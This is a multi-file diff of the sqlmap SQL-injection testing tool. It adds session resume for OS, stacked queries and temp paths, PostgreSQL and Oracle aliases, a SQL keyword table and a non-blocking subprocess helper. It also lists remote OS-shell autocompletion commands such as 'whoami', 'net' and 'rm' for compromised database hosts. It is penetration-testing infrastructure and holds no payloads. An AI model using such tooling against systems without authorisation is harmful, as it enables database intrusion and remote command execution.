the terms of the GNU General Public License as published by the Free
|
the terms of the GNU General Public License as published by the Free
|
||||||
@@ -22,17 +22,18 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51
|
|||||||
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||||
"""
|
"""
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
import re
|
import re
|
||||||
|
|
||||||
from lib.core.common import dataToSessionFile
|
from lib.core.common import dataToSessionFile
|
||||||
|
from lib.core.common import formatFingerprintString
|
||||||
from lib.core.common import readInput
|
from lib.core.common import readInput
|
||||||
from lib.core.data import conf
|
from lib.core.data import conf
|
||||||
from lib.core.data import kb
|
from lib.core.data import kb
|
||||||
from lib.core.data import logger
|
from lib.core.data import logger
|
||||||
from lib.core.settings import MSSQL_ALIASES
|
from lib.core.settings import MSSQL_ALIASES
|
||||||
from lib.core.settings import MYSQL_ALIASES
|
from lib.core.settings import MYSQL_ALIASES
|
||||||
|
from lib.core.settings import PGSQL_ALIASES
|
||||||
|
from lib.core.settings import ORACLE_ALIASES
|
||||||
|
|
||||||
def setString():
|
def setString():
|
||||||
"""
|
"""
|
||||||
@@ -47,7 +48,6 @@ def setString():
|
|||||||
if condition:
|
if condition:
|
||||||
dataToSessionFile("[%s][None][None][String][%s]\n" % (conf.url, conf.string))
|
dataToSessionFile("[%s][None][None][String][%s]\n" % (conf.url, conf.string))
|
||||||
|
|
||||||
|
|
||||||
def setRegexp():
|
def setRegexp():
|
||||||
"""
|
"""
|
||||||
Save regular expression to match in session file.
|
Save regular expression to match in session file.
|
||||||
@@ -61,6 +61,15 @@ def setRegexp():
|
|||||||
if condition:
|
if condition:
|
||||||
dataToSessionFile("[%s][None][None][Regular expression][%s]\n" % (conf.url, conf.regexp))
|
dataToSessionFile("[%s][None][None][Regular expression][%s]\n" % (conf.url, conf.regexp))
|
||||||
|
|
||||||
|
def setMatchRatio():
|
||||||
|
condition = (
|
||||||
|
not kb.resumedQueries
|
||||||
|
or ( kb.resumedQueries.has_key(conf.url) and
|
||||||
|
not kb.resumedQueries[conf.url].has_key("Match ratio") )
|
||||||
|
)
|
||||||
|
|
||||||
|
if condition:
|
||||||
|
dataToSessionFile("[%s][None][None][Match ratio][%s]\n" % (conf.url, conf.matchRatio))
|
||||||
|
|
||||||
def setInjection():
|
def setInjection():
|
||||||
"""
|
"""
|
||||||
@@ -85,7 +94,6 @@ def setInjection():
|
|||||||
dataToSessionFile("[%s][%s][%s][Injection parameter][%s]\n" % (conf.url, kb.injPlace, conf.parameters[kb.injPlace], kb.injParameter))
|
dataToSessionFile("[%s][%s][%s][Injection parameter][%s]\n" % (conf.url, kb.injPlace, conf.parameters[kb.injPlace], kb.injParameter))
|
||||||
dataToSessionFile("[%s][%s][%s][Injection type][%s]\n" % (conf.url, kb.injPlace, conf.parameters[kb.injPlace], kb.injType))
|
dataToSessionFile("[%s][%s][%s][Injection type][%s]\n" % (conf.url, kb.injPlace, conf.parameters[kb.injPlace], kb.injType))
|
||||||
|
|
||||||
|
|
||||||
def setParenthesis(parenthesisCount):
|
def setParenthesis(parenthesisCount):
|
||||||
"""
|
"""
|
||||||
@param parenthesisCount: number of parenthesis to be set into the
|
@param parenthesisCount: number of parenthesis to be set into the
|
||||||
@@ -103,7 +111,6 @@ def setParenthesis(parenthesisCount):
|
|||||||
|
|
||||||
kb.parenthesis = parenthesisCount
|
kb.parenthesis = parenthesisCount
|
||||||
|
|
||||||
|
|
||||||
def setDbms(dbms):
|
def setDbms(dbms):
|
||||||
"""
|
"""
|
||||||
@param dbms: database management system to be set into the knowledge
|
@param dbms: database management system to be set into the knowledge
|
||||||
@@ -120,8 +127,10 @@ def setDbms(dbms):
|
|||||||
if condition:
|
if condition:
|
||||||
dataToSessionFile("[%s][%s][%s][DBMS][%s]\n" % (conf.url, kb.injPlace, conf.parameters[kb.injPlace], dbms))
|
dataToSessionFile("[%s][%s][%s][DBMS][%s]\n" % (conf.url, kb.injPlace, conf.parameters[kb.injPlace], dbms))
|
||||||
|
|
||||||
firstRegExp = "(%s|%s)" % ("|".join([alias for alias in MSSQL_ALIASES]),
|
firstRegExp = "(%s|%s|%s|%s)" % ("|".join([alias for alias in MSSQL_ALIASES]),
|
||||||
"|".join([alias for alias in MYSQL_ALIASES]))
|
"|".join([alias for alias in MYSQL_ALIASES]),
|
||||||
|
"|".join([alias for alias in PGSQL_ALIASES]),
|
||||||
|
"|".join([alias for alias in ORACLE_ALIASES]))
|
||||||
dbmsRegExp = re.search("^%s" % firstRegExp, dbms, re.I)
|
dbmsRegExp = re.search("^%s" % firstRegExp, dbms, re.I)
|
||||||
|
|
||||||
if dbmsRegExp:
|
if dbmsRegExp:
|
||||||
@@ -129,6 +138,66 @@ def setDbms(dbms):
|
|||||||
|
|
||||||
kb.dbms = dbms
|
kb.dbms = dbms
|
||||||
|
|
||||||
|
logger.info("the back-end DBMS is %s" % kb.dbms)
|
||||||
|
|
||||||
|
def setOs():
|
||||||
|
"""
|
||||||
|
Example of kb.bannerFp dictionary:
|
||||||
|
|
||||||
|
{
|
||||||
|
'sp': set(['Service Pack 4']),
|
||||||
|
'dbmsVersion': '8.00.194',
|
||||||
|
'dbmsServicePack': '0',
|
||||||
|
'distrib': set(['2000']),
|
||||||
|
'dbmsRelease': '2000',
|
||||||
|
'type': set(['Windows'])
|
||||||
|
}
|
||||||
|
"""
|
||||||
|
|
||||||
|
infoMsg = ""
|
||||||
|
condition = (
|
||||||
|
not kb.resumedQueries
|
||||||
|
or ( kb.resumedQueries.has_key(conf.url) and
|
||||||
|
not kb.resumedQueries[conf.url].has_key("OS") )
|
||||||
|
)
|
||||||
|
|
||||||
|
if not kb.bannerFp:
|
||||||
|
return
|
||||||
|
|
||||||
|
if "type" in kb.bannerFp:
|
||||||
|
kb.os = formatFingerprintString(kb.bannerFp["type"])
|
||||||
|
infoMsg = "the back-end DBMS operating system is %s" % kb.os
|
||||||
|
|
||||||
|
if "distrib" in kb.bannerFp:
|
||||||
|
kb.osVersion = formatFingerprintString(kb.bannerFp["distrib"])
|
||||||
|
infoMsg += " %s" % kb.osVersion
|
||||||
|
|
||||||
|
if "sp" in kb.bannerFp:
|
||||||
|
kb.osSP = int(formatFingerprintString(kb.bannerFp["sp"]).replace("Service Pack ", ""))
|
||||||
|
|
||||||
|
elif "sp" not in kb.bannerFp and kb.os == "Windows":
|
||||||
|
kb.osSP = 0
|
||||||
|
|
||||||
|
if kb.os and kb.osVersion and kb.osSP:
|
||||||
|
infoMsg += " Service Pack %d" % kb.osSP
|
||||||
|
|
||||||
|
if infoMsg:
|
||||||
|
logger.info(infoMsg)
|
||||||
|
|
||||||
|
if condition:
|
||||||
|
dataToSessionFile("[%s][%s][%s][OS][%s]\n" % (conf.url, kb.injPlace, conf.parameters[kb.injPlace], kb.os))
|
||||||
|
|
||||||
|
def setStacked():
|
||||||
|
condition = (
|
||||||
|
not kb.resumedQueries or ( kb.resumedQueries.has_key(conf.url) and
|
||||||
|
not kb.resumedQueries[conf.url].has_key("Stacked queries") )
|
||||||
|
)
|
||||||
|
|
||||||
|
if not isinstance(kb.stackedTest, str):
|
||||||
|
return
|
||||||
|
|
||||||
|
if condition:
|
||||||
|
dataToSessionFile("[%s][%s][%s][Stacked queries][%s]\n" % (conf.url, kb.injPlace, conf.parameters[kb.injPlace], kb.stackedTest))
|
||||||
|
|
||||||
def setUnion(comment=None, count=None, position=None):
|
def setUnion(comment=None, count=None, position=None):
|
||||||
"""
|
"""
|
||||||
@@ -169,6 +238,14 @@ def setUnion(comment=None, count=None, position=None):
|
|||||||
|
|
||||||
kb.unionPosition = position
|
kb.unionPosition = position
|
||||||
|
|
||||||
|
def setRemoteTempPath():
|
||||||
|
condition = (
|
||||||
|
not kb.resumedQueries or ( kb.resumedQueries.has_key(conf.url) and
|
||||||
|
not kb.resumedQueries[conf.url].has_key("Remote temp path") )
|
||||||
|
)
|
||||||
|
|
||||||
|
if condition:
|
||||||
|
dataToSessionFile("[%s][%s][%s][Remote temp path][%s]\n" % (conf.url, kb.injPlace, conf.parameters[kb.injPlace], conf.tmpPath))
|
||||||
|
|
||||||
def resumeConfKb(expression, url, value):
|
def resumeConfKb(expression, url, value):
|
||||||
if expression == "String" and url == conf.url:
|
if expression == "String" and url == conf.url:
|
||||||
@@ -214,6 +291,14 @@ def resumeConfKb(expression, url, value):
|
|||||||
if not test or test[0] in ("y", "Y"):
|
if not test or test[0] in ("y", "Y"):
|
||||||
conf.regexp = regexp
|
conf.regexp = regexp
|
||||||
|
|
||||||
|
elif expression == "Match ratio" and url == conf.url:
|
||||||
|
matchRatio = value[:-1]
|
||||||
|
|
||||||
|
logMsg = "resuming match ratio '%s' from session file" % matchRatio
|
||||||
|
logger.info(logMsg)
|
||||||
|
|
||||||
|
conf.matchRatio = round(float(matchRatio), 3)
|
||||||
|
|
||||||
elif expression == "Injection point" and url == conf.url:
|
elif expression == "Injection point" and url == conf.url:
|
||||||
injPlace = value[:-1]
|
injPlace = value[:-1]
|
||||||
|
|
||||||
@@ -263,20 +348,23 @@ def resumeConfKb(expression, url, value):
|
|||||||
logger.info(logMsg)
|
logger.info(logMsg)
|
||||||
|
|
||||||
elif expression == "DBMS" and url == conf.url:
|
elif expression == "DBMS" and url == conf.url:
|
||||||
dbms = value[:-1]
|
dbms = value[:-1]
|
||||||
|
dbms = dbms.lower()
|
||||||
|
dbmsVersion = None
|
||||||
|
|
||||||
logMsg = "resuming back-end DBMS '%s' " % dbms
|
logMsg = "resuming back-end DBMS '%s' " % dbms
|
||||||
logMsg += "from session file"
|
logMsg += "from session file"
|
||||||
logger.info(logMsg)
|
logger.info(logMsg)
|
||||||
|
|
||||||
dbms = dbms.lower()
|
firstRegExp = "(%s|%s|%s|%s)" % ("|".join([alias for alias in MSSQL_ALIASES]),
|
||||||
firstRegExp = "(%s|%s)" % ("|".join([alias for alias in MSSQL_ALIASES]),
|
"|".join([alias for alias in MYSQL_ALIASES]),
|
||||||
"|".join([alias for alias in MYSQL_ALIASES]))
|
"|".join([alias for alias in PGSQL_ALIASES]),
|
||||||
|
"|".join([alias for alias in ORACLE_ALIASES]))
|
||||||
dbmsRegExp = re.search("%s ([\d\.]+)" % firstRegExp, dbms)
|
dbmsRegExp = re.search("%s ([\d\.]+)" % firstRegExp, dbms)
|
||||||
|
|
||||||
if dbmsRegExp:
|
if dbmsRegExp:
|
||||||
dbms = dbmsRegExp.group(1)
|
dbms = dbmsRegExp.group(1)
|
||||||
kb.dbmsVersion = [dbmsRegExp.group(2)]
|
dbmsVersion = [ dbmsRegExp.group(2) ]
|
||||||
|
|
||||||
if conf.dbms and conf.dbms.lower() != dbms:
|
if conf.dbms and conf.dbms.lower() != dbms:
|
||||||
message = "you provided '%s' as back-end DBMS, " % conf.dbms
|
message = "you provided '%s' as back-end DBMS, " % conf.dbms
|
||||||
@@ -287,9 +375,39 @@ def resumeConfKb(expression, url, value):
|
|||||||
test = readInput(message, default="N")
|
test = readInput(message, default="N")
|
||||||
|
|
||||||
if not test or test[0] in ("n", "N"):
|
if not test or test[0] in ("n", "N"):
|
||||||
conf.dbms = dbms
|
conf.dbms = dbms
|
||||||
|
kb.dbmsVersion = dbmsVersion
|
||||||
else:
|
else:
|
||||||
conf.dbms = dbms
|
conf.dbms = dbms
|
||||||
|
kb.dbmsVersion = dbmsVersion
|
||||||
|
|
||||||
|
elif expression == "OS" and url == conf.url:
|
||||||
|
os = value[:-1]
|
||||||
|
|
||||||
|
logMsg = "resuming back-end DBMS operating system '%s' " % os
|
||||||
|
logMsg += "from session file"
|
||||||
|
logger.info(logMsg)
|
||||||
|
|
||||||
|
if conf.os and conf.os.lower() != os.lower():
|
||||||
|
message = "you provided '%s' as back-end DBMS operating " % conf.os
|
||||||
|
message += "system, but from a past scan information on the "
|
||||||
|
message += "target URL sqlmap assumes the back-end DBMS "
|
||||||
|
message += "operating system is %s. " % os
|
||||||
|
message += "Do you really want to force the back-end DBMS "
|
||||||
|
message += "OS value? [y/N] "
|
||||||
|
test = readInput(message, default="N")
|
||||||
|
|
||||||
|
if not test or test[0] in ("n", "N"):
|
||||||
|
conf.os = os
|
||||||
|
else:
|
||||||
|
conf.os = os
|
||||||
|
|
||||||
|
elif expression == "Stacked queries" and url == conf.url:
|
||||||
|
kb.stackedTest = value[:-1]
|
||||||
|
|
||||||
|
logMsg = "resuming stacked queries syntax "
|
||||||
|
logMsg += "'%s' from session file" % kb.stackedTest
|
||||||
|
logger.info(logMsg)
|
||||||
|
|
||||||
elif expression == "Union comment" and url == conf.url:
|
elif expression == "Union comment" and url == conf.url:
|
||||||
kb.unionComment = value[:-1]
|
kb.unionComment = value[:-1]
|
||||||
@@ -311,3 +429,10 @@ def resumeConfKb(expression, url, value):
|
|||||||
logMsg = "resuming union position "
|
logMsg = "resuming union position "
|
||||||
logMsg += "%s from session file" % kb.unionPosition
|
logMsg += "%s from session file" % kb.unionPosition
|
||||||
logger.info(logMsg)
|
logger.info(logMsg)
|
||||||
|
|
||||||
|
elif expression == "Remote temp path" and url == conf.url:
|
||||||
|
conf.tmpPath = value[:-1]
|
||||||
|
|
||||||
|
logMsg = "resuming remote absolute path of temporary "
|
||||||
|
logMsg += "files directory '%s' from session file" % conf.tmpPath
|
||||||
|
logger.info(logMsg)
|
||||||
|
|||||||
@@ -5,8 +5,8 @@ $Id$
|
|||||||
|
|
||||||
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||||
|
|
||||||
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
Copyright (c) 2007-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||||
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||||
|
|
||||||
sqlmap is free software; you can redistribute it and/or modify it under
|
sqlmap is free software; you can redistribute it and/or modify it under
|
||||||
the terms of the GNU General Public License as published by the Free
|
the terms of the GNU General Public License as published by the Free
|
||||||
@@ -22,21 +22,19 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51
|
|||||||
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||||
"""
|
"""
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
import logging
|
import logging
|
||||||
import os
|
import subprocess
|
||||||
import sys
|
import sys
|
||||||
|
|
||||||
|
|
||||||
# sqlmap version and site
|
# sqlmap version and site
|
||||||
VERSION = "0.6.3"
|
VERSION = "0.8-rc4"
|
||||||
VERSION_STRING = "sqlmap/%s" % VERSION
|
VERSION_STRING = "sqlmap/%s" % VERSION
|
||||||
SITE = "http://sqlmap.sourceforge.net"
|
SITE = "http://sqlmap.sourceforge.net"
|
||||||
|
|
||||||
# sqlmap logger
|
# sqlmap logger
|
||||||
logging.addLevelName(9, "TRAFFIC OUT")
|
logging.addLevelName(9, "TRAFFIC OUT")
|
||||||
logging.addLevelName(8, "TRAFFIC IN")
|
logging.addLevelName(8, "TRAFFIC IN")
|
||||||
|
|
||||||
LOGGER = logging.getLogger("sqlmapLog")
|
LOGGER = logging.getLogger("sqlmapLog")
|
||||||
LOGGER_HANDLER = logging.StreamHandler(sys.stdout)
|
LOGGER_HANDLER = logging.StreamHandler(sys.stdout)
|
||||||
FORMATTER = logging.Formatter("[%(asctime)s] [%(levelname)s] %(message)s", "%H:%M:%S")
|
FORMATTER = logging.Formatter("[%(asctime)s] [%(levelname)s] %(message)s", "%H:%M:%S")
|
||||||
@@ -45,26 +43,73 @@ LOGGER_HANDLER.setFormatter(FORMATTER)
|
|||||||
LOGGER.addHandler(LOGGER_HANDLER)
|
LOGGER.addHandler(LOGGER_HANDLER)
|
||||||
LOGGER.setLevel(logging.WARN)
|
LOGGER.setLevel(logging.WARN)
|
||||||
|
|
||||||
|
# System variables
|
||||||
|
IS_WIN = subprocess.mswindows
|
||||||
|
PLATFORM = sys.platform.lower()
|
||||||
|
PYVERSION = sys.version.split()[0]
|
||||||
|
|
||||||
# Url to update Microsoft SQL Server XML versions file from
|
# Url to update Microsoft SQL Server XML versions file from
|
||||||
MSSQL_VERSIONS_URL = "http://www.sqlsecurity.com/FAQs/SQLServerVersionDatabase/tabid/63/Default.aspx"
|
MSSQL_VERSIONS_URL = "http://www.sqlsecurity.com/FAQs/SQLServerVersionDatabase/tabid/63/Default.aspx"
|
||||||
|
|
||||||
# Url to update sqlmap from
|
# Urls to update sqlmap from
|
||||||
SQLMAP_VERSION_URL = "%s/doc/VERSION" % SITE
|
SQLMAP_VERSION_URL = "%s/doc/VERSION" % SITE
|
||||||
SQLMAP_SOURCE_URL = "http://downloads.sourceforge.net/sqlmap/sqlmap-%s.zip"
|
SQLMAP_SOURCE_URL = "http://downloads.sourceforge.net/sqlmap/sqlmap-%s.zip"
|
||||||
|
|
||||||
# Database managemen system specific variables
|
# Database managemen system specific variables
|
||||||
MSSQL_SYSTEM_DBS = ( "Northwind", "model", "msdb", "pubs", "tempdb" )
|
MSSQL_SYSTEM_DBS = ( "Northwind", "model", "msdb", "pubs", "tempdb" )
|
||||||
MYSQL_SYSTEM_DBS = ( "information_schema", "mysql" ) # Before MySQL 5.0 only "mysql"
|
MYSQL_SYSTEM_DBS = ( "information_schema", "mysql" ) # Before MySQL 5.0 only "mysql"
|
||||||
PGSQL_SYSTEM_DBS = ( "information_schema", "pg_catalog" )
|
PGSQL_SYSTEM_DBS = ( "information_schema", "pg_catalog", "pg_toast" )
|
||||||
ORACLE_SYSTEM_DBS = ( "SYSTEM", "SYSAUX" ) # These are TABLESPACE_NAME
|
ORACLE_SYSTEM_DBS = ( "SYSTEM", "SYSAUX" ) # These are TABLESPACE_NAME
|
||||||
|
|
||||||
MSSQL_ALIASES = [ "microsoft sql server", "mssqlserver", "mssql", "ms" ]
|
MSSQL_ALIASES = [ "microsoft sql server", "mssqlserver", "mssql", "ms" ]
|
||||||
MYSQL_ALIASES = [ "mysql", "my" ]
|
MYSQL_ALIASES = [ "mysql", "my" ]
|
||||||
PGSQL_ALIASES = [ "postgresql", "postgres", "pgsql", "psql", "pg" ]
|
PGSQL_ALIASES = [ "postgresql", "postgres", "pgsql", "psql", "pg" ]
|
||||||
ORACLE_ALIASES = [ "oracle", "orcl", "ora", "or" ]
|
ORACLE_ALIASES = [ "oracle", "orcl", "ora", "or" ]
|
||||||
|
|
||||||
SUPPORTED_DBMS = MSSQL_ALIASES + MYSQL_ALIASES + PGSQL_ALIASES + ORACLE_ALIASES
|
SUPPORTED_DBMS = MSSQL_ALIASES + MYSQL_ALIASES + PGSQL_ALIASES + ORACLE_ALIASES
|
||||||
|
SUPPORTED_OS = ( "linux", "windows" )
|
||||||
|
|
||||||
# TODO: port to command line/configuration file options?
|
SQL_STATEMENTS = {
|
||||||
SECONDS = 5
|
"SQL SELECT statement": (
|
||||||
RETRIES = 3
|
"select ",
|
||||||
|
"show ",
|
||||||
|
" top ",
|
||||||
|
" distinct ",
|
||||||
|
" from ",
|
||||||
|
" from dual",
|
||||||
|
" where ",
|
||||||
|
" group by ",
|
||||||
|
" order by ",
|
||||||
|
" having ",
|
||||||
|
" limit ",
|
||||||
|
" offset ",
|
||||||
|
" union all ",
|
||||||
|
" rownum as ",
|
||||||
|
"(case ", ),
|
||||||
|
|
||||||
|
"SQL data definition": (
|
||||||
|
"create ",
|
||||||
|
"declare ",
|
||||||
|
"drop ",
|
||||||
|
"truncate ",
|
||||||
|
"alter ", ),
|
||||||
|
|
||||||
|
"SQL data manipulation": (
|
||||||
|
"insert ",
|
||||||
|
"update ",
|
||||||
|
"delete ",
|
||||||
|
"merge ", ),
|
||||||
|
|
||||||
|
"SQL data control": (
|
||||||
|
"grant ", ),
|
||||||
|
|
||||||
|
"SQL data execution": (
|
||||||
|
"execute ", ),
|
||||||
|
|
||||||
|
"SQL transaction": (
|
||||||
|
"start transaction ",
|
||||||
|
"begin work ",
|
||||||
|
"begin transaction ",
|
||||||
|
"commit ",
|
||||||
|
"rollback ", ),
|
||||||
|
}
|
||||||
|
|||||||
@@ -5,8 +5,8 @@ $Id$
|
|||||||
|
|
||||||
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||||
|
|
||||||
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
Copyright (c) 2007-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||||
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||||
|
|
||||||
sqlmap is free software; you can redistribute it and/or modify it under
|
sqlmap is free software; you can redistribute it and/or modify it under
|
||||||
the terms of the GNU General Public License as published by the Free
|
the terms of the GNU General Public License as published by the Free
|
||||||
@@ -22,8 +22,6 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51
|
|||||||
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||||
"""
|
"""
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
import atexit
|
import atexit
|
||||||
import os
|
import os
|
||||||
import rlcompleter
|
import rlcompleter
|
||||||
@@ -33,19 +31,16 @@ from lib.core.data import kb
|
|||||||
from lib.core.data import paths
|
from lib.core.data import paths
|
||||||
from lib.core.data import queries
|
from lib.core.data import queries
|
||||||
|
|
||||||
|
|
||||||
def saveHistory():
|
def saveHistory():
|
||||||
historyPath = os.path.expanduser(paths.SQLMAP_HISTORY)
|
historyPath = os.path.expanduser(paths.SQLMAP_HISTORY)
|
||||||
readline.write_history_file(historyPath)
|
readline.write_history_file(historyPath)
|
||||||
|
|
||||||
|
|
||||||
def loadHistory():
|
def loadHistory():
|
||||||
historyPath = os.path.expanduser(paths.SQLMAP_HISTORY)
|
historyPath = os.path.expanduser(paths.SQLMAP_HISTORY)
|
||||||
|
|
||||||
if os.path.exists(historyPath):
|
if os.path.exists(historyPath):
|
||||||
readline.read_history_file(historyPath)
|
readline.read_history_file(historyPath)
|
||||||
|
|
||||||
|
|
||||||
def queriesForAutoCompletion():
|
def queriesForAutoCompletion():
|
||||||
autoComplQueries = {}
|
autoComplQueries = {}
|
||||||
|
|
||||||
@@ -61,7 +56,6 @@ def queriesForAutoCompletion():
|
|||||||
|
|
||||||
return autoComplQueries
|
return autoComplQueries
|
||||||
|
|
||||||
|
|
||||||
class CompleterNG(rlcompleter.Completer):
|
class CompleterNG(rlcompleter.Completer):
|
||||||
def global_matches(self, text):
|
def global_matches(self, text):
|
||||||
"""
|
"""
|
||||||
@@ -73,14 +67,13 @@ class CompleterNG(rlcompleter.Completer):
|
|||||||
matches = []
|
matches = []
|
||||||
n = len(text)
|
n = len(text)
|
||||||
|
|
||||||
for list in [ self.namespace ]:
|
for ns in [ self.namespace ]:
|
||||||
for word in list:
|
for word in ns:
|
||||||
if word[:n] == text:
|
if word[:n] == text:
|
||||||
matches.append(word)
|
matches.append(word)
|
||||||
|
|
||||||
return matches
|
return matches
|
||||||
|
|
||||||
|
|
||||||
def autoCompletion(sqlShell=False, osShell=False):
|
def autoCompletion(sqlShell=False, osShell=False):
|
||||||
# First of all we check if the readline is available, by default
|
# First of all we check if the readline is available, by default
|
||||||
# it is not in Python default installation on Windows
|
# it is not in Python default installation on Windows
|
||||||
@@ -90,13 +83,23 @@ def autoCompletion(sqlShell=False, osShell=False):
|
|||||||
if sqlShell:
|
if sqlShell:
|
||||||
completer = CompleterNG(queriesForAutoCompletion())
|
completer = CompleterNG(queriesForAutoCompletion())
|
||||||
elif osShell:
|
elif osShell:
|
||||||
# TODO: add more operating system commands; differentiate commands
|
if kb.os == "Windows":
|
||||||
# based on future operating system fingerprint
|
# Reference: http://en.wikipedia.org/wiki/List_of_DOS_commands
|
||||||
completer = CompleterNG({
|
completer = CompleterNG({
|
||||||
"id": None, "ifconfig": None, "ls": None,
|
"copy": None, "del": None, "dir": None,
|
||||||
"netstat -natu": None, "pwd": None,
|
"echo": None, "md": None, "mem": None,
|
||||||
"uname": None, "whoami": None,
|
"move": None, "net": None, "netstat -na": None,
|
||||||
})
|
"ver": None, "xcopy": None, "whoami": None,
|
||||||
|
})
|
||||||
|
|
||||||
|
else:
|
||||||
|
# Reference: http://en.wikipedia.org/wiki/List_of_Unix_commands
|
||||||
|
completer = CompleterNG({
|
||||||
|
"cp": None, "rm": None, "ls": None,
|
||||||
|
"echo": None, "mkdir": None, "free": None,
|
||||||
|
"mv": None, "ifconfig": None, "netstat -natu": None,
|
||||||
|
"pwd": None, "uname": None, "id": None,
|
||||||
|
})
|
||||||
|
|
||||||
readline.set_completer(completer.complete)
|
readline.set_completer(completer.complete)
|
||||||
readline.parse_and_bind("tab: complete")
|
readline.parse_and_bind("tab: complete")
|
||||||
|
|||||||
88
lib/core/subprocessng.py
Normal file
88
lib/core/subprocessng.py
Normal file
@@ -0,0 +1,88 @@
|
|||||||
|
#!/usr/bin/env python
|
||||||
|
|
||||||
|
"""
|
||||||
|
$Id$
|
||||||
|
|
||||||
|
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||||
|
|
||||||
|
Copyright (c) 2007-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||||
|
Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||||
|
|
||||||
|
sqlmap is free software; you can redistribute it and/or modify it under
|
||||||
|
the terms of the GNU General Public License as published by the Free
|
||||||
|
Software Foundation version 2 of the License.
|
||||||
|
|
||||||
|
sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
|
||||||
|
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
|
||||||
|
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
|
||||||
|
details.
|
||||||
|
|
||||||
|
You should have received a copy of the GNU General Public License along
|
||||||
|
with sqlmap; if not, write to the Free Software Foundation, Inc., 51
|
||||||
|
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||||
|
"""
|
||||||
|
|
||||||
|
import errno
|
||||||
|
import os
|
||||||
|
import sys
|
||||||
|
import time
|
||||||
|
|
||||||
|
from lib.core.settings import IS_WIN
|
||||||
|
|
||||||
|
if not IS_WIN:
|
||||||
|
import fcntl
|
||||||
|
|
||||||
|
if (sys.hexversion >> 16) >= 0x202:
|
||||||
|
FCNTL = fcntl
|
||||||
|
else:
|
||||||
|
import FCNTL
|
||||||
|
|
||||||
|
def blockingReadFromFD(fd):
|
||||||
|
# Quick twist around original Twisted function
|
||||||
|
# Blocking read from a non-blocking file descriptor
|
||||||
|
output = ""
|
||||||
|
|
||||||
|
while True:
|
||||||
|
try:
|
||||||
|
output += os.read(fd, 8192)
|
||||||
|
except (OSError, IOError), ioe:
|
||||||
|
if ioe.args[0] in (errno.EAGAIN, errno.EINTR):
|
||||||
|
# Uncomment the following line if the process seems to
|
||||||
|
# take a huge amount of cpu time
|
||||||
|
# time.sleep(0.01)
|
||||||
|
continue
|
||||||
|
else:
|
||||||
|
raise
|
||||||
|
break
|
||||||
|
|
||||||
|
if not output:
|
||||||
|
raise EOFError, "fd %s has been closed." % fd
|
||||||
|
|
||||||
|
return output
|
||||||
|
|
||||||
|
def blockingWriteToFD(fd, data):
|
||||||
|
# Another quick twist
|
||||||
|
while True:
|
||||||
|
try:
|
||||||
|
data_length = len(data)
|
||||||
|
wrote_data = os.write(fd, data)
|
||||||
|
except (OSError, IOError), io:
|
||||||
|
if io.errno in (errno.EAGAIN, errno.EINTR):
|
||||||
|
continue
|
||||||
|
else:
|
||||||
|
raise
|
||||||
|
|
||||||
|
if wrote_data < data_length:
|
||||||
|
blockingWriteToFD(fd, data[wrote_data:])
|
||||||
|
|
||||||
|
break
|
||||||
|
|
||||||
|
def setNonBlocking(fd):
|
||||||
|
"""
|
||||||
|
Make a file descriptor non-blocking
|
||||||
|
"""
|
||||||
|
|
||||||
|
if IS_WIN is not True:
|
||||||
|
flags = fcntl.fcntl(fd, FCNTL.F_GETFL)
|
||||||
|
flags = flags | os.O_NONBLOCK
|
||||||
|
fcntl.fcntl(fd, FCNTL.F_SETFL, flags)
|
||||||
@@ -5,8 +5,8 @@ $Id$
|
|||||||
|
|
||||||
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||||
|
|
||||||
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
Copyright (c) 2007-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||||
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||||
|
|
||||||
sqlmap is free software; you can redistribute it and/or modify it under
|
sqlmap is free software; you can redistribute it and/or modify it under
|
||||||
the terms of the GNU General Public License as published by the Free
|
the terms of the GNU General Public License as published by the Free
|
||||||
@@ -22,17 +22,13 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51
|
|||||||
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||||
"""
|
"""
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
import os
|
import os
|
||||||
import re
|
|
||||||
import time
|
import time
|
||||||
|
|
||||||
from lib.core.common import dataToSessionFile
|
from lib.core.common import dataToSessionFile
|
||||||
from lib.core.common import paramToDict
|
from lib.core.common import paramToDict
|
||||||
